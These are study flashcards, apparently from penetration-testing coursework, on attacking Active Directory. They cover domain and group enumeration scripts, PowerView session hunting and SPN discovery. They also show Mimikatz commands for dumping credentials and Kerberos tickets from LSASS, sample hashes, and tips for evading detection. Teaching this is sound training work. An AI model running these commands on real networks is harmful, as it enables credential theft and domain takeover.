Active Directory Attacks Flashcards
What is a Domain Controller?
- Windows 2000-2019 server with Active Directory Domain Services role installed
- The hub and core of AD because it stores all information about how the specific instance of AD is configured
- The DC also enforces a vast array of rules that govern how objects w/in a given Windows domain interact with each other, and what tools are available to end users
- When an instance of AD is configured, a ‘domain’ is created with a name such as ‘corp.com’ where ‘corp’ is the name of the organization.
- Within this domain we can add various types of objects, including computers and user objects
What is an OU?
- Organization Unit
- Comparable to file system folders that are used to store and group objects together
- Computer objects represent actual servers and workstations that are domain-joined
- User objects represent employees of the organization
AD Enumeration
- Begins with the exploit or client-side attack against a domain workstation or server, followed by enumeration of the AD environment
- We then target high-value groups, such as the Domain Admins group to gain complete control of every single computer
AD Enumeration: Traditional Approach
- Enumerate all local accounts
- - C:\Users\Offsec.corp> net user - Enumerate all users in the entire domain
- - C:\Users\Offsec.corp> net user /domain - Query individual user account
- - C:\Users\Offsec.corp> net user jeff_admin /domain - Enumerate all groups in the domain
- - C:\Users\Offsec.corp> net group /domain
* ** Shortcoming of this approach is that net.exe cannot list nested groups and only shows the direct user members
AD Enumeration: Modern Approach
- Using PowerShell and LDAP
1. Get the ‘domain’ name
– PS C:\Users\offsec.CORP> [System.DirectoryServices.ActiveDirectory. Domain]::GetCurrent Domain()
** Get the ‘PdcRoleOwner’ and ‘Name’ properties **
PdcRoleOwner : DC01.corp.com
Name : corp.com
________________________________________
2. Build PowerShell script (Build LDAP path)
$domainObj = [System.DirectoryServices.ActiveDirectory. Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = “LDAP://”
$SearchString += $PDC + “/”
$DistinguishedName = “DC=$($domainObj.Name.Replace(‘.’, ‘,DC=’))”
$SearchString += $DistinguishedName
$SearchString
** Results in the following: LDAP://DC01.corp.com/DC=corp,DC=com
________________________________________
3. Build PowerShell script (Searcher)
$Searcher = New-Object System.DirectoryServices.DirectorySearcher ([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
_______________________________________
4. Build PowerShell Script (samAccountType)
** We want to list all users in the domain, so we use 0x30000000 (decimal 805306368)
$Searcher.filter=”samAccountType=805306368”
$Searcher.FindAll()
*** The output is a little messy, so we can clean this up a little bit **
________________________________________
5. Build PowerShell Script (cleaner print)
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host “————————”
}
AD Enumeration: Unravel nested groups
1. Adjust the PowerShell script from above to print out all groups in the domain: $Searcher.SearchRoot = $objDomain $Searcher.filter="(objectClass=Group)" $Result = $Searcher.FindAll() Foreach($obj in $Result) { $obj.Properties.name } *** When executed the groups are displayed *** ... Key Admins Enterprise Key Admins DnsAdmins DnsUpdateProxy Secret_Group Nested_Group Another_Nested_Group \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 2. We can get the members of 'Secret_Group': $Searcher.filter="(name=Secret_Group)" $Result = $Searcher.FindAll() Foreach($obj in $Result) { $obj.Properties.member } **** According to this output, 'Nested_Group' is a member of this group **** CN=Nested_Group,OU=CorpGroups,DC=corp,DC=com \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 3. Alter to get the members of 'Nested_Group': $Searcher.filter="(name=Nested_Group)" **** According to this output, 'Another_ Nested_Group' is a member of this group **** CN=Another_Nested_Group, OU=CorpGroups,DC=corp,DC=com \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
What is the concept behind finding currently logged on users?
** We want to find logged-in users that are members of high-value groups since their credentials will be cached in memory,
and we can steal their credentials and authenticate with them **
- We must tailor our enumeration to consider not only ‘Domain Admins’ but also potential avenues of “chained compromise”, including a hunt for a “derivative local admin”
What tools are helpful with enumerating currently logged on users?
- NetSessionEnum API (Get-NetSession)
- Can be used as a regular domain user
- Returns a list of active users on servers such as fileservers or domain controllers - NetWkstaUserEnum API (Get-NetLoggedon)
- After compromising a domain machine, we should enumerate every computer in the domain and then use NetWkstaUserEnum against the obtained list
AD Enumeration: Currently Logged on Users
*** Use PowerView.ps1
PS C:\Tools\active_directory> Import-Module .\PowerView.ps1
__________________________________
1. Enumerate logged-in users with Get-NetLoggedon along with the -ComputerName option and specify a workstation
– PS C:\Tools\active_directory> Get-NetLoggedon -ComputerName client251
__________________________________
2. Let’s try to retrieve active sessions on the domain controller DC01
– PS C:\Tools\active_directory> Get-NetSession -ComputerName dc01
Explain Service Principal Names
- Services launched by the system itself use the context based on a Service Account
- Isolated applications can use a set of predefined accounts: LocalSystem, LocalService, and NetworkService
- When applications like Exchange, SQL, or IIS are integrated into AD, a unique service instance known as Service Principal Name (SPN) is used to associate a service on a specific server to a service account in AD
- *** By enumerating all the SPNs in the domain, we can obtain the IP address and port number of applications running on servers integrated with the target AD **
AD Enumeration: SPNs
- Update our PS script for SPN http, indicating the presence of a registered web server
$Searcher.filter=”serviceprincipalname=http”
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
}
__________________________________
- Output shows an SPN with the following information:
– samaccountname {iis_service}
– serviceprincipalname {HTTP/CorpWebServer.corp.com}
*** From here we can run Nslookup and go to the URL CorpWebServer.corp.com
– PS C:\Users\offsec.CORP> nslookup CorpWebServer.corp.com
What 2 authentication types are used by AD?
- Kerberos(default)
- NTLM
NTLM Authentication
- Uses a challenge and response
- Used in one of 3 cases:
1. when a client authenticates to a server by IP address (instead of hostname)
2. when a user attempts to authenticate to a hostname that is not registered on the AD integrated DNS server
3. applications may choose to use NTLM
Kerberos Authentication
- Uses a ticket system
- Kerberos client authentication to a service in AD involves the use of a DC in the role of a KDC (Key Distribution Center)
- Hashes are stored in LSASS memory space
- Need SYSTEM privs to access LSASS
- Mimikatz is helpful with this
What is the best way to use Mimikatz against LSASS as a general rule of thumb?
- Avoid using Mimikatz as a standalone application, due to detection signatures
- Instead:
1. execute Mimikatz directly from memory using an injector like PowerShell
2. Use a built-in tool like Task Manager to dump the entire LSASS process memory, move the dumped data to a helper machine, and from there load the data into Mimikatz
How would we use Mimikatz on a Windows target as standalone application with a user that has local admin?
- Start Mimikatz and use ‘privilege::debug’ and ‘sekurlsa::logonpasswords’
– C:\Tools\active_directory> mimikatz.exe
mimikatz # privilege::debug
– Privilege ‘20’ OK
mimikatz # sekurlsa::logonpasswords
_________________________________ - We get all credential information for the user ‘Offsec’
* NTLM : e2b475c11da2a0748290d87aa966c327
* SHA1 : 8c77f430e4ab8acb10ead387d64011c76400d26e
_________________________________
What can we do after we obtain password hashes with Mimikatz, what can we do?
- exploit Kerberos authentication by abusing TGT and service tickets
- Kerberos TGT and service tickets for users currently logged onto the local machine are stored for future use
- These tickets are also stored in LSASS and we can use Mimikatz to interact with and retrieve our own tickets and the tickets of local users
How can we use Mimikatz to get currently logged on users Kerberos TGT and TGS tickets?
– mimikatz # sekurlsa::tickets
What can we do with a Kerberos TGT ticket?
- We could request a TGS for a specific resource we want to target w/in the domain
How can we use Kerberos for Service Account Attacks?
- When a user wants to access a resource hosted by a SPN, the client requests a service ticket that is generated by the DC
- The service ticket is then decrypted and validated by the application server, since it is encrypted through the password hash of the SPN
- When requesting the service ticket from the DC, no checks are performed on whether the user has any permissions to access the service hosted by the SPN
- These checks are performed as a second step only when connecting to the service itself
- This means that if we know the SPN we want to target, we can request a service ticket for it from the DC
- Then, since it is our own ticket, we can extract it from local memory and save it to disk